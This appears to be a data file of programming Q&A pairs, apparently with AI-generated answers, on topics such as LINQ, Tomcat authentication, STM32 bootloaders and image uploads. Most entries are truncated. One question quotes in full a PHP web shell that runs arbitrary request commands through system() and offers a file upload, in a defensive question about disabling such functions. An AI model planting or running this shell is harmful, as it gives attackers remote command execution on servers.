Here is the functionality I want: User selects an image from their machine, hits an Upload button (or better yet the following fires on the onchange event of the file input), and is able to see a preview of the image they are about to upload. Here is the current workflow I am using, but it seems suboptimal: I have an i...
Yes, there is a more efficient way to handle image uploads and previews without having to store temporary files on the server. You can use JavaScript to handle the file input change event, which allows you to preview the image immediately on the client side without needing a server round trip. This reduces the need for...
35,759
[ { "from": "human", "value": "Here is the functionality I want:\nUser selects an image from their machine, hits an Upload button (or better yet the following fires on the onchange event of the file input), and is able to see a preview of the image they are about to upload.\nHere is the current workflow I am ...
So, this might be a crazy idea, so bear with me. [warning: hackish] Using OpenOffice.org Writer, one can easily make simple pdf forms (since Writer does XForms, and can export to PDF, and embed the form using FDF). I'd like to make a text entry field with this property: if the field overflows, put the overflow on ...
Creating a PDF form with overflow functionality in OpenOffice.org Writer (or any similar word processor) is quite complex, especially since PDF forms do not natively support dynamic overflow handling in the way you're describing. However, I can outline a few potential approaches you could consider. Please note that the...
35,655
[ { "from": "human", "value": "So, this might be a crazy idea, so bear with me. \n[warning: hackish]\nUsing OpenOffice.org Writer, one can easily make simple pdf forms (since Writer does XForms, and can export to PDF, and embed the form using FDF). I'd like to make a text entry field with this property:\n\...
I have a small ajax php application, which outputs data from a mysql db into a table. The rows are links, which when clicked will call an ajax function, which in turn will call another php file, which displays a different query from the same database in a layer without reloading the page. I would like to know how to sy...
To synchronize queries between your two PHP files in an AJAX application without displaying the primary key directly in the table, you can adopt a few strategies. Here’s a common approach that balances usability and functionality while keeping the primary key hidden. ### Approach Overview 1. **Use Data Attributes**: ...
35,864
[ { "from": "human", "value": "I have a small ajax php application, which outputs data from a mysql db into a table. The rows are links, which when clicked will call an ajax function, which in turn will call another php file, which displays a different query from the same database in a layer without reloading...
Imagine I have a property defined in global.asax. public List<string> Roles { get { ... } set { ... } } I want to use the value in another page. how to I refer to it?
To access the `Roles` property defined in the `global.asax` file from another page in your ASP.NET application, you can refer to the `Application` object. Properties defined in `global.asax` are accessible through the `HttpApplication` instance, which is typically referenced using `HttpContext.Current.Application`. He...
36,880
[ { "from": "human", "value": "Imagine I have a property defined in global.asax. \npublic List<string> Roles\n{\n get\n {\n ...\n }\n set\n {\n ...\n }\n}\n\nI want to use the value in another page. how to I refer to it?\n" }, { "from": "gpt", "value": "To access th...
What are best practices with regards to C and C++ coding standards? Should developers be allowed to willy-nilly mix them together. Are there any complications when linking C and C++ object files. Should things like socket libraries that traditionally is written in C remain in C and kept in seperate source files? That...
When working with C and C++, it's important to follow best practices to ensure code maintainability, performance, and compatibility. Here are some key considerations regarding coding standards, mixing languages, linking, and performance implications: ### Best Practices for C and C++ Coding Standards 1. **Separate Cod...
35,012
[ { "from": "human", "value": "What are best practices with regards to C and C++ coding standards? Should developers be allowed to willy-nilly mix them together. Are there any complications when linking C and C++ object files.\nShould things like socket libraries that traditionally is written in C remain in...
What is the correct syntax for this: IList<string> names = "Tom,Scott,Bob".Split(',').ToList<string>().Reverse(); What am I messing up? What does TSource mean?
Your current code has a couple of issues. The main problem is that `Reverse()` returns an `IEnumerable<string>`, which cannot be directly assigned to `IList<string>` without converting it back to a list. Additionally, `ToList<string>()` is not necessary in the context you're using it. Instead, you can just call `ToList...
38,754
[ { "from": "human", "value": "What is the correct syntax for this:\nIList<string> names = \"Tom,Scott,Bob\".Split(',').ToList<string>().Reverse();\n\nWhat am I messing up?\nWhat does TSource mean?\n" }, { "from": "gpt", "value": "Your current code has a couple of issues. The main problem is that ...
It would be nice if it did both a list of methods to choose from and the list of potential input parameters. This was done for powershell and I was curious if there was any similar functionality implemented for emacs or vim? Clarification: A fellow developer I work with wants to use either vim or emacs for the low ove...
Both Emacs and Vim offer various methods and plugins to achieve code completion and enhance the development experience, similar to features found in IDEs like Visual Studio. Below, I'll outline options for both editors, along with methods to provide code completion and lists of potential input parameters. ### Emacs 1...
35,519
[ { "from": "human", "value": "It would be nice if it did both a list of methods to choose from and the list of potential input parameters. This was done for powershell and I was curious if there was any similar functionality implemented for emacs or vim?\nClarification:\nA fellow developer I work with wants...
I'm trying to make a triangle (isosceles triangle) to move around the screen and at the same time slightly rotate it when a user presses a directional key (like right or left). I would like the nose (top point) of the triangle to lead the triangle at all times. (Like that old asteroids game). My problem is with the mat...
You're on the right track with using sine and cosine functions to calculate the movement of your isosceles triangle! The direction in which the triangle moves can indeed be determined by the angle of rotation and the length of movement. ### Step-by-Step Solution 1. **Triangle Representation**: - Let's say your tri...
34,964
[ { "from": "human", "value": "I'm trying to make a triangle (isosceles triangle) to move around the screen and at the same time slightly rotate it when a user presses a directional key (like right or left).\nI would like the nose (top point) of the triangle to lead the triangle at all times. (Like that old a...
I'm trying to completely automate my builds and part of it is applying SQL scripts to the SQL Server. I've created a batch file that calls SQL Server utility (OSQL.EXE) to apply scripts and it works if I call it directly on the SQL server. But I cannot use it on my build machine because it does not have SQL Server inst...
To automate your SQL script executions on a SQL Server from a build machine that does not have SQL Server installed, you have a few options. Below are some of the most commonly used methods: ### Option 1: Use SQLCMD from a Remote Machine If you cannot use `OSQL.EXE` on your build machine, consider using `SQLCMD`, whic...
35,198
[ { "from": "human", "value": "I'm trying to completely automate my builds and part of it is applying SQL scripts to the SQL Server.\nI've created a batch file that calls SQL Server utility (OSQL.EXE) to apply scripts and it works if I call it directly on the SQL server.\nBut I cannot use it on my build machi...
On my busiest production installation, on occasion I get a single thread that seems to get stuck in an infinite loop. I've not managed to figure out who is the culprit, after much research and debugging, but it seems like it should be possible. Here are the gory details: Current debugging notes: 1) ps -eL 18975 shows...
It looks like you're dealing with a challenging situation, trying to debug a Java thread that is stuck in an infinite loop. Here are some strategies you can employ to try and narrow down which Java thread corresponds to the Linux thread ID you're seeing with `ps`: ### Understanding Java Thread IDs When you see a threa...
31,770
[ { "from": "human", "value": "On my busiest production installation, on occasion I get a single thread that seems to get stuck in an infinite loop. I've not managed to figure out who is the culprit, after much research and debugging, but it seems like it should be possible. Here are the gory details:\nCurr...
Are there any utilities that can examine a set of managed assemblies and tell you whether any of the types in one namespace depend on any in another? For example, say I have a MyApp.BusinessRules namespace and don't want it to access directly anything in MyApp.GUI, but both namespaces are in the same assembly. My goal...
Yes, there are several utilities and approaches you can consider for analyzing the dependencies between types in different namespaces within a managed assembly. While NDepend is a powerful tool with a lot of features, it may be more complex than what you need for simply checking namespace dependencies. Here are some al...
36,287
[ { "from": "human", "value": "Are there any utilities that can examine a set of managed assemblies and tell you whether any of the types in one namespace depend on any in another? For example, say I have a MyApp.BusinessRules namespace and don't want it to access directly anything in MyApp.GUI, but both nam...
I realize that this question is impossible to answer absolutely, but I'm only after ballpark figures: Given a reasonably sized C-program (thousands of lines of code), on average, how many ASM-instructions would be generated. In other words, what's a realistic C-to-ASM instruction ratio? Feel free to make assumptions, s...
Estimating the ratio of C lines to assembly (ASM) instructions is indeed a complex task, as it can vary widely depending on several factors such as the code structure, the specific operations performed, optimizations by the compiler, and the target architecture. However, we can try to provide some rough ballpark figure...
38,713
[ { "from": "human", "value": "I realize that this question is impossible to answer absolutely, but I'm only after ballpark figures:\nGiven a reasonably sized C-program (thousands of lines of code), on average, how many ASM-instructions would be generated. In other words, what's a realistic C-to-ASM instructi...
I have a GSM modem connected via USB. The modem creates 2 serial ports. The first is automatically attached to the modem, the second shows in Device Manager as "HUAWEI Mobile Connect - 3G PC UI Interface (COM6)" The second port is used to get vital information from the modem, such as signal quality; to send and recei...
To identify the correct COM port associated with the "HUAWEI Mobile Connect - 3G PC UI Interface," you can use the `Windows Management Instrumentation (WMI)` to query information about the serial ports, including their friendly names as displayed in Device Manager. Here’s a sample approach in C# to identify the correc...
36,294
[ { "from": "human", "value": "I have a GSM modem connected via USB. The modem creates 2 serial ports. The first is automatically attached to the modem, the second shows in Device Manager as \"HUAWEI Mobile Connect - 3G PC UI Interface (COM6)\"\nThe second port is used to get vital information from the mode...
Our test department has a series of web tests created using Visual Studio 2005 Team Tester Edition. I would like to be able to execute these tests against my local machine. I attempted to use the mstest command line tool to accomplish this as described in this MSDN article. But I get the following error: C:\WebTests\P...
The error you are encountering suggests that the MSTest command line tool in Visual Studio 2005 does not recognize the `.webtest` file extension, which is specific to web performance tests created in that version of Visual Studio. Here are some steps and tips you can follow to resolve the issue and run your web tests s...
38,424
[ { "from": "human", "value": "Our test department has a series of web tests created using Visual Studio 2005 Team Tester Edition.\nI would like to be able to execute these tests against my local machine. I attempted to use the mstest command line tool to accomplish this as described in this MSDN article. But...
I have a one-page application whose only page is created through a JSP. It allows people to look up bibliographic information. Unfortunately there are some problems with JQuery tablesorter. The main one is that the result page cannot be sorted, nor the header images are visible, but if you save the page locally then i...
It sounds like you're experiencing a couple of issues with your JSP-based one-page application using jQuery tablesorter: sorting functionality and character encoding. Let’s address both issues one by one. ### Issue 1: Tablesorter Not Working If the tablesorter works correctly when the page is saved locally but not wh...
37,496
[ { "from": "human", "value": "I have a one-page application whose only page is created through a JSP. It allows people to look up bibliographic information. Unfortunately there are some problems with JQuery tablesorter.\n\nThe main one is that the result page cannot be sorted, nor the header images are visib...
I am a Winforms and business engine developer who is using asp.net for the first time in over 2 years, and in that time I have noticed a few convention changes. What is the logic behind the anti-'tables for layout' movement? Is it to allow css classes to be used to handle layout, and if so, should this really be an iss...
The anti-tables-for-layout movement in web development emerged for several important reasons, primarily tied to the evolution of standards, best practices, and the capabilities of CSS. Here are some key points that explain the logic behind this movement: 1. **Separation of Concerns**: One of the main goals of modern w...
36,160
[ { "from": "human", "value": "I am a Winforms and business engine developer who is using asp.net for the first time in over 2 years, and in that time I have noticed a few convention changes.\nWhat is the logic behind the anti-'tables for layout' movement?\nIs it to allow css classes to be used to handle layo...
Has anyone been able to use the SSCrypto Framework for Cocoa to encrypt text and then decrypt it in C#/.NET ? Or can someone offer some guidance? I'm pretty sure my issue has to do with getting the crypto settings correct but I am far from fluent in Cocoa so I can't really tell what settings are being used in the libra...
To successfully encrypt text using the SSCrypto Framework in Cocoa and then decrypt it in C#/.NET, you need to ensure that the encryption settings (such as the key length, mode of operation, padding scheme, and initialization vector) are the same on both sides. Here's a structured approach to troubleshoot and ensure co...
34,498
[ { "from": "human", "value": "Has anyone been able to use the SSCrypto Framework for Cocoa to encrypt text and then decrypt it in C#/.NET ? Or can someone offer some guidance?\nI'm pretty sure my issue has to do with getting the crypto settings correct but I am far from fluent in Cocoa so I can't really tell...
I was doing some testing and straight LINQ-to-SQL queries run at least 80% faster than if calling stored procedures via the LINQ query In SQL Server profiler a generic LINQ query var results = from m in _dataContext.Members select m; took only 19 milliseconds as opposed to a stored procedure var results = from m i...
The performance difference you're experiencing between the LINQ-to-SQL query and the stored procedure call can be attributed to several factors. Here's a breakdown of potential reasons for this discrepancy: 1. **Execution Plan Caching**: SQL Server caches execution plans for queries, including those in stored procedur...
36,619
[ { "from": "human", "value": "I was doing some testing and straight LINQ-to-SQL queries run at least 80% faster than if calling stored procedures via the LINQ query\nIn SQL Server profiler a generic LINQ query \n var results = from m in _dataContext.Members\n select m;\n\ntook only 19 milliseconds as opposed...
I'm currently using std::ofstream as follows: std::ofstream outFile; outFile.open(output_file); Then I attempt to pass a std::stringstream object to outFile as follows: GetHolesResults(..., std::ofstream &outFile){ float x = 1234; std::stringstream ss; ss << x << std::endl; outFile << ss; } Now my outFile con...
The issue you're facing arises from how you're trying to write the contents of a `std::stringstream` to an `std::ofstream`. The `std::stringstream` itself cannot be directly used with the stream insertion operator (`<<`), which is why you're seeing garbage values. To correctly write the contents of the `std::stringstr...
39,654
[ { "from": "human", "value": "I'm currently using std::ofstream as follows:\nstd::ofstream outFile;\noutFile.open(output_file);\n\nThen I attempt to pass a std::stringstream object to outFile as follows:\nGetHolesResults(..., std::ofstream &outFile){\n float x = 1234;\n std::stringstream ss;\n ss << x << ...
Is there a trade off in respect to performance, trade off in respect to memory consumption?
Yes, there are often trade-offs between performance and memory consumption in computing systems. Here are some key points regarding these trade-offs: ### Performance vs. Memory Consumption 1. **Data Structures**: - **Optimized for Speed**: Some data structures (like hash tables) are designed to provide fast access...
35,918
[ { "from": "human", "value": "Is there a trade off in respect to performance, trade off in respect to memory consumption?\n" }, { "from": "gpt", "value": "Yes, there are often trade-offs between performance and memory consumption in computing systems. Here are some key points regarding these trad...
Is there a JavaScript equivalent of Java's class.getName()?
In Java, `class.getName()` returns the fully qualified name of the class as a `String`. In JavaScript, the equivalent functionality can be achieved using the `constructor.name` property of an instance or the `name` property of the function itself. Here's how you can do it in JavaScript: 1. **Using the `constructor.na...
39,466
[ { "from": "human", "value": "Is there a JavaScript equivalent of Java's class.getName()?\n" }, { "from": "gpt", "value": "In Java, `class.getName()` returns the fully qualified name of the class as a `String`. In JavaScript, the equivalent functionality can be achieved using the `constructor.nam...
What exception should I throw if I encounter an illegal state - for instance, an initialization method that should only be called once being called a second time? I don't really see any built-in exception that makes sense. This seems like something that should be in the framework - am I not poking in the right spot?
In the scenario you described, where a method is called in an illegal state (e.g., an initialization method called more than once), the most appropriate built-in exception to throw is `IllegalStateException`. The `IllegalStateException` is part of the Java standard library and is intended specifically for cases where...
39,645
[ { "from": "human", "value": "What exception should I throw if I encounter an illegal state - for instance, an initialization method that should only be called once being called a second time? I don't really see any built-in exception that makes sense. This seems like something that should be in the framew...
I am trying to determine the best directory structure of my application i have: UI Data Interfaces but i dont know where to put delegates.. should there be a seperate Delegates folder or should i store the delegates in the same classes where they are being used . .
When organizing an application's directory structure, it's essential to balance clarity, modularity, and maintainability. The placement of delegates often depends on how they are used within your application and the overall architecture. Here are some considerations to help you decide: ### 1. **Understanding Delegates...
37,718
[ { "from": "human", "value": "I am trying to determine the best directory structure of my application\ni have:\nUI\nData\nInterfaces \nbut i dont know where to put delegates..\nshould there be a seperate Delegates folder or should i store the delegates in the same classes where they are being used . .\n" ...
If I set the platform flags of MyApp.exe to be x64 I still can run the corflags utilty like this: corflags /32bit+ MyApp.exe corflags will happily set the 32bit flag to 1. Of course when I'll try to run the application I'll get an error: 0xC000007B = STATUS_INVALID_IMAGE_FORMAT My question is: Is there a way that ...
The behavior you're encountering is due to the way that the .NET runtime and the CorFlags utility operate. ### Key Points: 1. **Target Architecture**: When an assembly is built for x64, it is specifically designed to run in a 64-bit process environment. It cannot run in a 32-bit process because it would attempt to lo...
37,656
[ { "from": "human", "value": "If I set the platform flags of MyApp.exe to be x64\nI still can run the corflags utilty like this:\n corflags /32bit+ MyApp.exe\ncorflags will happily set the 32bit flag to 1.\nOf course when I'll try to run the application I'll get an error:\n0xC000007B = STATUS_INVALID_IMAG...
I have written a web app in PHP which makes use of Ajax requests (made using YUI.util.Connect.asyncRequest). Most of the time, this works fine. The request is sent with an X-Requested-With value of XMLHttpRequest. My PHP controller code uses apache_request_headers() to check whether an incoming request is Ajax or not...
It sounds like you're encountering an issue where the `X-Requested-With` header is not being detected by `apache_request_headers()` in PHP for some Ajax requests, even though you can see it in your browser's debugging tools (like Firebug). Here are several potential causes and solutions that you might want to explore: ...
33,193
[ { "from": "human", "value": "I have written a web app in PHP which makes use of Ajax requests (made using YUI.util.Connect.asyncRequest).\nMost of the time, this works fine. The request is sent with an X-Requested-With value of XMLHttpRequest. My PHP controller code uses apache_request_headers() to check ...
When a web form is submitted and takes the user to another page, it is quite often the case that the user will click the Back button in order to submit the form again (the form is an advanced search in my case.) How can I reliably preserve the form options selected by the user when they click Back (so they don't have t...
To preserve form options when a user navigates back to a web form, there are a few approaches you can consider. The method you choose will depend on your specific needs and browser compatibility requirements, especially given that you want to support older browsers like IE6. ### 1. **Using the `autocomplete` Attribute...
30,825
[ { "from": "human", "value": "When a web form is submitted and takes the user to another page, it is quite often the case that the user will click the Back button in order to submit the form again (the form is an advanced search in my case.)\nHow can I reliably preserve the form options selected by the user ...
I would like to have two applications in my STM32 flash, one is basically a boot and the other the 'main' application. I have figured out how to load each of them into different areas of flash, and after taking a memory dump everything looks like it is in the right place. So when I do a reset it loads the boot, all the...
Hi Richard, It sounds like you've been doing quite a bit of troubleshooting to get your bootloader and main application working together on your STM32. From your description, it seems like you encountered an issue related to how the processor interprets the instruction set mode (ARM vs. Thumb) during the jump from the...
34,557
[ { "from": "human", "value": "I would like to have two applications in my STM32 flash, one is basically a boot and the other the 'main' application. I have figured out how to load each of them into different areas of flash, and after taking a memory dump everything looks like it is in the right place.\nSo wh...
This is pretty trivial, but I noticed on SO that instead of an offset they are using page numbers. I know the difference is minor (multiply the page number by rows on a page or divide offset by rows on a page), but I'm wondering if one is recommended over the other. Some sites, like Google, of course use a more complic...
When it comes to paginating results in a simple web application or site, both offset-based and page number-based pagination have their own advantages and disadvantages. Here's a breakdown to help you decide which method may be more suitable for your needs: ### Offset-Based Pagination **Pros:** 1. **Flexibility:** Offs...
37,586
[ { "from": "human", "value": "This is pretty trivial, but I noticed on SO that instead of an offset they are using page numbers. I know the difference is minor (multiply the page number by rows on a page or divide offset by rows on a page), but I'm wondering if one is recommended over the other.\nSome sites,...
I have a question regarding an update function I created... CREATE OR REPLACE FUNCTION rm_category_update(icompany bpchar, iraw_mat_cat_code bpchar, iraw_mat_cat_desc bpchar) RETURNS character AS $BODY$ DECLARE loc_result CHAR(50); BEGIN UPDATE rm_category SET raw_mat_cat_code = iraw_mat_cat_code, ...
In SQL, the `UPDATE` statement will not throw an error if it does not find a matching row to update. Instead, it simply does nothing and returns a row count of zero. Therefore, your function will always return 'success', regardless of whether any rows were actually updated. If you want to differentiate between a succe...
38,800
[ { "from": "human", "value": "I have a question regarding an update function I created...\nCREATE OR REPLACE FUNCTION rm_category_update(icompany bpchar, iraw_mat_cat_code bpchar, iraw_mat_cat_desc bpchar)\n\nRETURNS character AS\n\n$BODY$\n\nDECLARE\n loc_result CHAR(50); \n\nBEGIN\n\nUPDATE rm_categor...
I'm reading up on event-driven design. I am having trouble getting my head around some of it in practice. I'm considering using this for a windows service that monitors, parses, and handles information coming from a 3rd party TCP stream. Is the following a decent approach, or am I missing something? My plan is to h...
Your approach to using event-driven design in the context of a Windows service that monitors and processes information from a TCP stream is fundamentally sound, but there are some improvements and considerations that could enhance the design and implementation. Let's break down a few points: ### 1. Event Naming and Co...
32,617
[ { "from": "human", "value": "I'm reading up on event-driven design. I am having trouble getting my head around some of it in practice. I'm considering using this for a windows service that monitors, parses, and handles information coming from a 3rd party TCP stream. Is the following a decent approach, or...
We are using IIS 6 and ASP.Net, When users make secure page requests using https://somesite.com/securePage.aspx the user gets an error: Error code: ssl error bad cert domain The certificate was issued to www.somesite.com and indicates that somesite.com uses an invalid security certificate. I was hoping to be abl...
The error you are encountering, "ssl error bad cert domain," occurs due to a mismatch between the hostname in the URL and the Common Name (CN) or Subject Alternative Name (SAN) on the SSL certificate. In your case, the SSL certificate is issued for `www.somesite.com`, but users are trying to access it via `somesite.com...
34,569
[ { "from": "human", "value": "We are using IIS 6 and ASP.Net, When users make secure page requests using \n\nhttps://somesite.com/securePage.aspx\n\nthe user gets an error:\n\n\nError code: ssl error bad cert domain\n\n\nThe certificate was issued to www.somesite.com and indicates that somesite.com uses an i...
I'm in the process of converting a varchar(8000) field to an xml field in MSSQL 2005. Many of the XML docs have small issues (example: degree symbol not encoded). Is there a better way to validate the XML than a Try/Catch process? Maybe I could write a .NET Stored Procedure. What is the proper method to validate (or in...
To validate XML documents in SQL Server 2005, particularly if you're migrating from `varchar` to `XML` data types, you have a few options. While using a `TRY/CATCH` block is a straightforward approach, there are more structured ways to handle XML validation, including using .NET stored procedures. Here's a breakdown o...
36,902
[ { "from": "human", "value": "I'm in the process of converting a varchar(8000) field to an xml field in MSSQL 2005.\nMany of the XML docs have small issues (example: degree symbol not encoded). Is there a better way to validate the XML than a Try/Catch process?\nMaybe I could write a .NET Stored Procedure. W...
We have had issues with Mootools not being very backward compatible specifically in the area of drag and drop functionality. I was wondering if anyone has had any similar problems with jQuery not being backward compatible. We are starting to use it quite heavily and are thinking about upgrading to a newer version to st...
When transitioning from an older version of jQuery to a newer version, you might encounter some compatibility issues, but generally, jQuery is known for its strong backward compatibility. The jQuery team typically takes care to minimize breaking changes and provide migration guidance when significant changes occur. How...
38,238
[ { "from": "human", "value": "We have had issues with Mootools not being very backward compatible specifically in the area of drag and drop functionality. I was wondering if anyone has had any similar problems with jQuery not being backward compatible. We are starting to use it quite heavily and are thinking...
What is the best way to configure Tomcat 5.5 or later to authenticate users from Windows Active Directory?
Configuring Tomcat 5.5 (or later) to authenticate users from Windows Active Directory (AD) can be accomplished using JAAS (Java Authentication and Authorization Service) with a custom login module or by using a security realm that supports LDAP authentication. Below are steps for setting up LDAP authentication with Tom...
32,147
[ { "from": "human", "value": "What is the best way to configure Tomcat 5.5 or later to authenticate users from Windows Active Directory?\n" }, { "from": "gpt", "value": "Configuring Tomcat 5.5 (or later) to authenticate users from Windows Active Directory (AD) can be accomplished using JAAS (Java...
In my Java program, I create an OtpNode and a "named" OtpMBox. Whenever a message is received via this mbox, some time-consuming operation needs to be performed after which a reply message is sent back. Since this operation is time-consuming, subsequent messages sent to the mbox won't be processed immediately. So I wa...
In your Java program using the OtpMBox (from the Erlang Term Storage library), you can share the original OtpMBox among all the threads without needing to create a new OtpMBox for each message received. Here's a breakdown of the considerations: 1. **Thread Safety**: The OtpMBox class is designed to be thread-safe wh...
34,995
[ { "from": "human", "value": "In my Java program, I create an OtpNode and a \"named\" OtpMBox. Whenever a message is received via this mbox, some time-consuming operation needs to be performed after which a reply message is sent back. Since this operation is time-consuming, subsequent messages sent to the mb...
I am getting an vba error 3271; Invalid property value. This happens when trying to append a memo field in a querydef. Any ideas on how to get around this? Example: public sub TestMemoField Dim qdf As QueryDef Set qdf = CurrentDb.QueryDefs("AppendRecord") qdf.Parameters("@SomeBigText").value = string(1000...
The error you're encountering (3271: Invalid property value) when trying to append a memo field in a query may arise due to several reasons. When using memo fields in an Access database, it is important to ensure that the data being assigned to the parameter matches the expected data type and does not exceed the capaci...
36,803
[ { "from": "human", "value": "I am getting an vba error 3271; Invalid property value. This happens when trying to append a memo field in a querydef. Any ideas on how to get around this?\nExample:\npublic sub TestMemoField\n Dim qdf As QueryDef\n Set qdf = CurrentDb.QueryDefs(\"AppendRecord\")\n qd...
What is the best compression algorithm that allows random reads/writes in a file? I know that any adaptive compression algorithms would be out of the question. And I know huffman encoding would be out of the question. Does anyone have a better compression algorithm that would allow random reads/writes? I think you coul...
When considering compression algorithms that facilitate random reads and writes in a file, there are several strategies and algorithms to choose from. Let's discuss some viable approaches and specific compression techniques: ### 1. **Chunked Compression with Indexing** One common solution to allow random access is to...
29,594
[ { "from": "human", "value": "What is the best compression algorithm that allows random reads/writes in a file?\nI know that any adaptive compression algorithms would be out of the question.\nAnd I know huffman encoding would be out of the question.\nDoes anyone have a better compression algorithm that would...
I'm interested in putting together my first online game using Flash as the client and writing a back-end application in C++ where the actual game state is kept. I've done lots of games in C++ before using SDL, SFML, Allegro, etc etc but never gotten around to using the network libraries. I was just interested in some h...
It sounds like you have an exciting project ahead of you! Your choice of using C++ for the back-end and Flash for the client is quite interesting, especially given your goal of creating a persistent world for programmable robots. Here are some suggestions and tips to help you get started with networking and related lib...
28,171
[ { "from": "human", "value": "I'm interested in putting together my first online game using Flash as the client and writing a back-end application in C++ where the actual game state is kept.\nI've done lots of games in C++ before using SDL, SFML, Allegro, etc etc but never gotten around to using the network ...
I can use VS08's MFC/ActiveX template to create a C++ ActiveX object that I can load into a HTML page and script with Javascript. But I can't figure out how to create an interface that allows me to call custom methods on my component with Javascript. Could you please tell me how to accomplish that? I have spent over tw...
Creating a C++ ActiveX control that exposes methods to be called from JavaScript involves several steps, including defining the interface and making sure the ActiveX control is registered properly. Below is a basic outline of how to accomplish this: ### Step 1: Define the Interface You need to define an interface for...
30,510
[ { "from": "human", "value": "I can use VS08's MFC/ActiveX template to create a C++ ActiveX object that I can load into a HTML page and script with Javascript. But I can't figure out how to create an interface that allows me to call custom methods on my component with Javascript.\nCould you please tell me ho...
I have a linq to sql database. Very simplified we have 3 tables, Projects and Users. There is a joining table called User_Projects which joins them together. I already have a working method of getting IEnumberable<Project> for a given user. from up in User_Projects select up.Project; Now I want to get the projects t...
In LINQ to SQL, the `Except` method is not supported directly in the way you are trying to use it. The reason for the runtime error is that the `Except` method cannot operate on local collections in a LINQ to SQL query. To get the projects that the user is **not** involved with, you'll need to use a different approach...
38,640
[ { "from": "human", "value": "I have a linq to sql database. Very simplified we have 3 tables, Projects and Users. There is a joining table called User_Projects which joins them together. \nI already have a working method of getting IEnumberable<Project> for a given user. \nfrom up in User_Projects\nselect u...
The ASP.NET team released the script combining feature in 3.5 SP1 as detailed here http://www.asp.net/Learn/3.5-SP1/video-296.aspx. Is there a similar feature already for the MVC framework? If not, is this in scope or is it possible to somehow leverage the webforms capability in MVC? I see this site uses a custom jquer...
In ASP.NET MVC, there is no built-in equivalent to the ASP.NET Web Forms script combining feature that was introduced in ASP.NET 3.5 SP1. However, you can achieve similar functionality through various means. Here are a few approaches to combine and minify scripts in your ASP.NET MVC applications: ### 1. **Bundle and M...
31,536
[ { "from": "human", "value": "The ASP.NET team released the script combining feature in 3.5 SP1 as detailed here http://www.asp.net/Learn/3.5-SP1/video-296.aspx. Is there a similar feature already for the MVC framework? If not, is this in scope or is it possible to somehow leverage the webforms capability in...
I know you can do it file by file. Is there any way to do this in one step for all files in a project?
Yes, you can perform actions on all files in a project in one step, depending on the context and the tools you're using. Here are some general methods for different scenarios: ### 1. **Using Command Line Tools:** If you're comfortable with the command line, you can use tools like `find`, `xargs`, or `grep` to proce...
34,872
[ { "from": "human", "value": "I know you can do it file by file.\nIs there any way to do this in one step for all files in a project?\n" }, { "from": "gpt", "value": "Yes, you can perform actions on all files in a project in one step, depending on the context and the tools you're using. Here are ...
A few weeks ago I opened up a hole on my shared server and my friend uploaded the following PHP script: <?php if(isset($_REQUEST['cmd'])) { echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> <?php if(isset($_REQUEST['upload'])) { echo '<form enctype="multipart/form-...
To ensure that your PHP settings, including the disabled functions, affect all directories and subdirectories on your server, you have a few options: 1. **Global php.ini Configuration**: Ideally, the best approach is to modify the global `php.ini` configuration file on your server. This file is usually located in the ...
30,716
[ { "from": "human", "value": "A few weeks ago I opened up a hole on my shared server and my friend uploaded the following PHP script:\n<?php\nif(isset($_REQUEST['cmd'])) {\n echo \"<pre>\";\n $cmd = ($_REQUEST['cmd']);\n system($cmd);\n echo \"</pre>\";\n die;\n}\n?>\n\n<?php\nif(isset($_REQUE...
I am developing an application for pocket PC which should run in landscape mode. I wrote the function SetScreenOrientation(int angle), which rotates the screen. This function is called on application start and on application close. I want to change the screen orientation when I minimize/maximize orientation as well. To...
In your situation, it seems that the `OnSize` function is being called multiple times due to the window management operations associated with minimizing and maximizing the application. This can happen due to several factors, such as the resizing of the window and the application being redrawn. To address the issue of ...
35,797
[ { "from": "human", "value": "I am developing an application for pocket PC which should run in landscape mode.\nI wrote the function SetScreenOrientation(int angle), which rotates the screen. This function is called on application start and on application close. I want to change the screen orientation when I...
There is a groupwall of which I want to download and store all messages in a db. In the documentation I cannot find a good way to do it. Did I miss something? What's the good way to do this?
To download and store all messages from a group wall into a database, you'll typically need to follow a series of steps. Since you mentioned that the documentation doesn't provide a clear solution, here’s a general approach you can consider: 1. **API Access**: Check if the group wall provides an API (Application Progr...
38,551
[ { "from": "human", "value": "There is a groupwall of which I want to download and store all messages in a db.\nIn the documentation I cannot find a good way to do it. Did I miss something? What's the good way to do this?\n" }, { "from": "gpt", "value": "To download and store all messages from a ...
I am trying to gain a better understanding of tcp/ip sockets in c#, as i want to challenge myself to see if i can create a working MMO infrastructure (game world, map, players, etc) purely for educational purposes as i have no intention of being another one of those "OMGZ iz gonna make my r0x0r MMORPG that will be bett...
Designing a multiplayer online game infrastructure is a challenging but rewarding endeavor. When working with TCP/IP sockets in C#, there are several key considerations and best practices you should keep in mind. Your idea of breaking up the system into separate client/server connections can be a valid approach, but le...
33,339
[ { "from": "human", "value": "I am trying to gain a better understanding of tcp/ip sockets in c#, as i want to challenge myself to see if i can create a working MMO infrastructure (game world, map, players, etc) purely for educational purposes as i have no intention of being another one of those \"OMGZ iz go...
After reading The Pragmatic Programmer, I became quite accustomed to VIM. When in Visual Studio I have ViEmu (http://www.viemu.com/) to provide me with VIM functionality. Is anyone aware of a similar program/key binding/workaround to integrate VI/VIM key bindings in CodeGear Delphi 2007?
Integrating Vim-like key bindings in CodeGear Delphi 2007 can be a bit challenging due to the lack of direct support for Vim emulation in the IDE. However, here are a few approaches you might consider: 1. **Custom Key Mappings**: Delphi 2007 allows you to customize key bindings to some extent. You could try mapping so...
39,255
[ { "from": "human", "value": "After reading The Pragmatic Programmer, I became quite accustomed to VIM. When in Visual Studio I have ViEmu (http://www.viemu.com/) to provide me with VIM functionality. \nIs anyone aware of a similar program/key binding/workaround to integrate VI/VIM key bindings in CodeGear D...
This just won't work. The problem is that I do not know enough to even know what is supposed to happen. I can't debug this code. I'd like to store upload to temporary folder "temp" and then to move them to "applets". Please help? The servlet is obviously being accessed, but I can't find the uploaded files... Thanks in ...
It looks like you're trying to implement a file upload feature in a Java servlet but are running into issues when attempting to upload files and move them to a designated folder. Below are a few key points to help you troubleshoot and improve your code. ### Key Changes and Considerations: 1. **Set Correct File Paths*...
35,223
[ { "from": "human", "value": "This just won't work. The problem is that I do not know enough to even know what is supposed to happen. I can't debug this code. I'd like to store upload to temporary folder \"temp\" and then to move them to \"applets\". Please help? The servlet is obviously being accessed, but ...
In my specific case, I have two kinds of "messages" that I need to retrive and paginate. Let's omit the details, and just say that the first kind is in a model called Msg1 and the other is called Msg2 The fields of these two models are completely different, the only fields that are common to the two models are "date" a...
